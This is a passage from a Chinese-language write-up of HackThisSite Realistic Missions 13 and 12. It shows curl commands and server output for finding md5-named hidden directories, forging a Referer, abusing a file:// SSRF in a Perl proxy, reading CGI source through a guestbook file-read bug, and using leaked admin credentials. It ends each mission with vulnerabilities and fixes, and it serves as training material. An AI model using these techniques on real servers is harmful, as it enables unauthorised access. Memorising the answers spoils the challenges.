手上有 moni1:admin 之后,直觉会去找后台。/missions/realistic/13/admin/ 确实存在一个登录页,但用这组凭据会被拒——HTS 官方关卡文章与公开 writeup 都记录了错误文案 "admin" does not match password for "moni1"。它是个诱饵:用户名口令都对,但页面不是真的

线索在 Step 1 的第一处报错里:include 路径中出现过 ENRP\admin\passes.php,还出现过一个 32 位 hex 目录 21232f297a57a5a743894a0e4a801fc3——刚刚算过,它就是 md5('admin')。作者用的是同一套把戏:把 admin 这个目录名换成它的 md5 当"隐藏"。用状态码验证目录真伪:

1
2
3
4
5
6
7
$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"
200

$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/7bc35830abab8fced52657d38ea048df/"
404

md5('admin') 那个目录返回 200,md5('moni1') 返回 404——真正的登录目录名是 md5('admin'),不是 md5('moni1')、也不是 md5('Speeches')(后者只用来保护 speeches/passwords/ 那层)。

关键陷阱:诱饵目录下面还有一个 /13/admin/passes.php,专门把想法往"Referer"上引:

1
2
3
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/admin/passes.php"
Passes need to be reset: send correct HTTP_REFERER to gain access here

它不给口令,只提示 HTTP_REFERER——和 Step 1 源码里 REFERER: http://ENRP/get_speeches_passwords_referer 是同一种套路:这一关反复用 Referer 当"门禁"。

Step 5: 哈希目录里的登录表单

哈希目录本身不设防,直接返回一份 234 字节的纯表单页:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"
1
2
3
4
5
<body bgcolor="black" text="White">
<form action="login2.php" method="POST">
<b>Username: </b><input type="text" name="user"><br /><br />
<b>Password: </b><input type="password" name="pass"><br />
<input type="submit" value="submit">

字段名确认是 userpass(不是 username/password),method=POSTaction=login2.php。不带 POST 数据直接 GET 登录脚本,返回的是 HTS 站点外框,关卡内容只有一行拒绝文案:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"
1
<center><b>Incorrect Username/Password</b></center>

Step 6: 登录与 completion oracle

moni1:admin POST 到 login2.php,同时带上哈希目录自身作为 Referer(这一关的来源检查就是照着 Step 1 源码里那个 REFERER: 头的模式设计的):

1
2
3
4
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/" \
--data 'user=<user>&pass=<pass>' \
"https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"

凭据正确时服务端返回完成页

Vulnerabilities

  • PHP warning / 报错回显泄露路径与源码speeches2.phpinclude() 失败把 Windows 绝对路径、oldsite/admin 内部目录和脚本自身路径全部打印;readpress.php 更进一步,把自身源码(含服务端 socket 请求的构造过程)连同数据库错误一起输出。生产环境必须 display_errors=Off,warning 只进日志。
  • 把 md5 当访问控制:受保护目录名是 md5('Speeches')、登录目录名前缀是 md5('admin'),等于把安全性押在"攻击者猜不到原文"上;32 位 hex 目录名本身就是提示,离线字典一击即破。
  • 隐藏目录可枚举且无鉴权speeches/passwords/<hash>/ 开了 Apache 目录索引,直接列出并下载 passwords.fip<md5('admin')>/ 目录不设防地返回登录表单,把爆破面缩到一个已知路径上。
  • 口令文件本身不设防passwords.fip 里就是两个未加盐、无迭代的 md5,等于明文。
  • 诱饵式安全:真正的门禁只有 login2.php 的凭据校验和一个可伪造的 Referer 检查(admin/passes.php 甚至把"send correct HTTP_REFERER"写在了页面上),攻击者只要看穿诱饵就能直达。

修复方向:错误信息统一走日志、不回显任何路径或源码;受保护资源用会话鉴权而不是 md5 目录名;目录索引关闭,口令文件移出 Web 根目录并用加盐哈希存储;删除诱饵页,把所有入口收敛到同一套鉴权逻辑;Referer 只能作为 CSRF 的辅助信号,且必须配合服务端 token。

Challenge

Schools are supposed to prepare students for the outside world, but how can they do this if students are kept from everything by overly-protective administrators? Clear the blocked site list and help fight censorship in public schools.

学校本该让学生接触外面的世界,但过度保护的网管把一切都挡在外面。目标是清空被封锁的站点列表(blocked.txt)。

入口 /missions/realistic/12/ 是一个 meta refresh,跳到 cgi-bin/internet.pl —— 一个模拟的"浏览器",把地址栏内容塞进 iframe。

Solution

Recon:

  • internet.pl 把整个 QUERY_STRING 先 unescape 再 escape,拼成 <iframe src="page.pl?$url">,所以 page.pl 收到的 query string 就是"要访问的 URL"本身,没有独立参数名。
  • page.pl 在服务端用 LWP 抓取该 URL 并回显响应 —— 这是个 SSRF 代理;抓取前逐行读 blocked.txt,用正则 /$line/i 匹配 URL,命中就返回 Blocked 页。
  • LWP 支持 file://,于是 page.pl?file:///C:/ 直接返回 C 盘目录列表。目录返回列表,单个文件返回 Location: <url> 文本。

Step 1: 从模拟浏览器里反推协议

两个 CGI 的源码通过 guest.pl 读到(见 Step 3)。internet.pl 的关键逻辑:

1
2
3
4
my $url = $ENV{'QUERY_STRING'};
$url = uri_unescape($url);
$url = uri_escape($url);
print "...<iframe src=\"page.pl?$url\" width=100% height=90%>This browser doesn\'t support IFRAMES.</iframe>...";

page.pl 的关键逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
my $url = $ENV{QUERY_STRING};
$url = uri_unescape($url);
$url =~ s/^url=//i;
if (length($url) == 0 || $url eq "http://" || $url eq "/")
{
$url = "../main.html";
}
my $line;
open(blocked, "<blocked.txt") or print "Content-Type: text/plain\r\n\r\nFailed to load blocked.txt" and exit;
while ($line = <blocked>)
{
chomp($line);
if ($url =~ /$line/i)
{
print "Content-Type: text/html\r\n\r\n<html><head><title>Blocked</title></head>..." and exit;
}
}
close(blocked);

my $browser = LWP::UserAgent->new(agent => "Bardus Browser v1.0");
my $request = HTTP::Request->new('GET', $url);
my $response = $browser->request($request);
print "Content-Type: ".$response->content_type."\r\n\r\n".$response->content;

黑名单检查只存在于 page.pl,而且只是对 URL 做不区分大小写的正则匹配;$url 未经任何协议白名单限制,直接交给 LWP。用 file:// 协议即可让服务器自己读自己的文件系统:

1
2
3
4
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/"
<html><head><title>Index of file://c:/</title></head><body><h1>Index of file:///c:/</h1><hr/><table>...
AUTOEXEC.BAT ... COMMAND.COM ... CONFIG.SYS ... Program Files ... WINDOWS ... WEB ...

Step 2: 目录枚举,摸清黑名单

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/"
Index of file:///c:/web : HTML/ Perl/ cgi-bin/ HTTP.EXE

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/cgi-bin/"
<html><head><title>Blocked</title></head><body ...>This Page is Blocked ... Heartland Technology Department

cgi-binPerl 两个目录名命中黑名单里的 cgiperl 关键字。但站点真实根目录就是 C:/WEB/HTML,直接走 HTTP 请求(完全不经 page.pl)不受黑名单约束:

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html"
<html><head><title>Heartland School District - Administrator Panel</title></head>
<body bgcolor="#204090" text="#cccccc" background="back.gif" link="#204090" alink="#204090" vlink="#204090">
<form action="cgi-bin/heartlandadminpanel.pl" method=get>
username: <input type="text" value="" name="username"><br>
password: <input type="password" value="" name="password"><br>
<input type="submit" value="submit">
</form></body></html>

Step 3: guest.pl 任意文件读,拿到源码

guest.plread / write 两个 action。writeguestbook.txt 追加(这个留言板本身就是个漏洞),read 直接 open("<$file"),只过滤 .. 和首字符 /,也就是可以读 cgi-bin 同目录下的任意文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ($arg =~ /^file=/)
{
$file = $arg;
$file =~ s/^file=//g;
if ($file =~ /\.\./ | $file =~ /^\//)
{
print "Access denied." and exit;
}
$file = uri_unescape($file);
$file =~ s/<|>|\||\&|;//g;
}
# (text= 分支只是把留言文本转义后写入 guestbook.txt,与本题无关)
if ($action eq "read")
{
open(file, "<$file") or print "File not found." and exit;
while ($line = <file>)
{
print $line;
}
close(file);
}

黑名单只挡 page.pl 的浏览,不管 guest.pl 的文件读,所以管理员脚本源码直接暴露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/guest.pl?action=read&file=heartlandadminpanel.pl"
#!perl
use strict;
print "Content-type: text/html\r\n\r\n";
require "db.cgi";
my $line;

if ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator&blocked=/)
{
clearlist();
}
elsif ($ENV{QUERY_STRING} =~ /^username=jbardus&password=heartlandnetworkadministrator/)
{
print "<html><head><title>Heartland School District Network Administrator</title></head>
<body bgcolor=\"#204090\" ...>
<div align=\"center\">
<form action=\"heartlandadminpanel.pl\" method=get>
<input type=\"hidden\" name=\"username\" value=\"jbardus\">
<input type=\"hidden\" name=\"password\" value=\"heartlandnetworkadministrator\">
<input type=\"hidden\" name=\"blocked\" value=\"\">
<select multiple name=\"blocked\" size=15 style=\"width:400px;\">";
open(file, "blocked.txt") or print "Failed to load blocked.txt";
while ($line = <file>)
{
chomp($line);
print "<option>$line</option>\n";
}
close(file);
print "</select><br><br>
<input type=\"button\" value=\"add site\">
<input type=\"button\" value=\"edit\">
<input type=\"button\" value=\"delete\">
<input type=\"submit\" value=\"clear all\">
</form></div></body></html>";
}
else
{
print "Invalid Username / Password";
}

源码把整条通关路径写死了:硬编码凭据 + 前缀匹配决定行为。

  • QUERY_STRINGusername=jbardus&password=heartlandnetworkadministrator&blocked= 开头 → 调用 clearlist()(真正的通关动作);
  • 只以 username=...&password=... 开头 → 渲染面板,把 blocked.txt 逐行读进 <option>
  • 其它 → Invalid Username / Password

注意这是前缀匹配^,无结尾锚点),所以 blocked= 后面跟任意值都会触发清空。

Step 4: 登录面板确认黑名单内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator"
<select multiple name="blocked" size=15 style="width:400px;"><option>perl</option>
<option>cgi</option>
<option>game</option>
<option>bonus</option>
<option>\\.exe</option>
<option>zip</option>
<option>php</option>
<option>sex</option>
<option>bitch</option>
<option>shit</option>
<option>monkey</option>
<option>mofo</option>
<option>mess</option>
<option>sucks</option>
<option>mail</option>
<option>fuck</option>
<option>damn</option>
<option>hell</option>
<option>crap</option>
<option>poo</option>
<option>new</option>
<option>search</option>
<option>txt</option>
<option>text</option>
<option>onion</option>
<option>slashdot</option>
<option>porn</option>
<option>pron</option>
<option>p0rn</option>
<option>pr0n</option>
<option>drug</option>
<option>hack</option>
<option>mad</option>
<option>best</option>
<option>goo</option>
<option>alta</option>
<option>asta</option>
<option>google</option>
<option>yahoo</option>
<option>msn</option>
<option>apple</option>
<option>mac</option>
<option>linux</option>
<option>mozilla</option>
<option>war</option>
<option>ground</option>
<option>open</option>
<option>source</option>
<option>info</option>
<option>party</option>
<option>erowid</option>
<option>forum</option>
<option>aclu</option>
<option>totse</option>
<option>dem</option>
<option>kaz</option>
<option>ftp</option>
<option>anar</option>
<option>ip</option>
<option>dns</option>
<option>\\.biz</option>
<option>\\.co\\.uk</option>
<option>\\.fr</option>
<option>geo</option>
<option>tri</option>
<option>1</option>
<option>2</option>
<option>3</option>
<option>4</option>
<option>5</option>
<option>6</option>
<option>7</option>
<option>8</option>
<option>9</option>
<option>10</option>

共 75 条。这条黑名单不是精确匹配,而是不区分大小写的正则,而且最后一组是裸数字 —— 任何含数字的 URL 都会被拦。对照实验:file:///C:/WINDOWS/Bubbles.bmp(无数字、无关键词)正常返回 Location:,而 file:///C:/WINDOWS/CMD640X.SYS(含 640)直接命中 Blocked。同理 hack 条目把 HTS 自己的域名也一起封了:page.pl?http://www.hackthissite.org/missions/realistic/ 同样是 Blocked。黑名单封得过宽,连正常路径都一起封,所以 page.pl 这条路基本走不通,只能走 guest.pl 和直连 HTTP。

面板表单里的 <input type="hidden" name="blocked" value=""> 就是"clear all"提交时要带上的空值字段。

Step 5: 清空黑名单并验证

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/heartlandadminpanel.pl?username=jbardus&password=heartlandnetworkadministrator&blocked="
<iframe src="mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator" style="width:80%; height:40%; border:0px #ffffff solid;"></iframe>

clearlist() 不回显成功文案,而是吐出指向 mission-accomplished.php 的 iframe。跟进这个 completion 页面:

1
2
3
$ curl -s -L -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/12/cgi-bin/mission-accomplished.php?username=jbardus&password=heartlandnetworkadministrator"
<center><div style="width:80%"><div class="dark-td"><h2>Congratulations</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 12<br /></div></div></center>

服务端确认后重新拉 profile:Realistic 列表出现 (12),积分 1976 → 2186(+210),任务列表该条目变为 "You have already completed this level!"。

关键陷阱:

  • page.pl?file:///C:/WEB/cgi-bin/ 被黑名单挡住(cgi 在表里),但换成 CGI-BINcgi-bin/.cgi-bin%2f 全部仍然被拦 —— 黑名单是不区分大小写的正则,编码绕过无效。真正的绕过是不走 page.pl:直接 HTTP 请求站点根目录下的静态文件,没有任何组件再过黑名单。
  • page.pl 对目录回显列表、对文件回显 Location: <url> 文本,不是文件内容。读文件要用 guest.pl?action=read,或者直接 HTTP 猜路径(C:/WEB/HTML/x ↔︎ /missions/realistic/12/x)。
  • blocked.txt 本身用 guest.pl?action=read&file=blocked.txt 读不到(File not found.),只能通过管理员面板的 <option> 渲染出来。

Vulnerabilities

  • SSRF / 本地文件读取page.pl 把用户输入当作完整 URL 交给 LWP,没有任何协议或主机白名单,file:// 让服务器替攻击者读自己的文件系统。
  • 任意文件读(源码泄露)guest.pl?action=read 只拦 .. 和开头 /,同目录下所有 CGI 源码(含硬编码凭据)可读。
  • 黑名单是错误的安全边界:过滤词表(cgiperlphpzip…)以正则匹配 URL,只在一个组件里生效,且不影响静态文件直连;过滤词表本身还泄露在管理员页面里。
  • 硬编码凭据 + 前缀正则判定权限username=jbardus&password=... 直接写在源码和隐藏字段里,权限判定用无结尾锚点的 ^ 前缀匹配,多余参数不影响判定。

修复方向:URL 只允许明确的 http(s) 白名单主机并由服务端重新解析;文件读取用固定的资源 id 映射而不是拼路径;凭据放服务端配置并哈希存储,权限用会话而不是请求参数;过滤/权限逻辑必须在所有入口统一执行,不能只挂在某一个 CGI 上。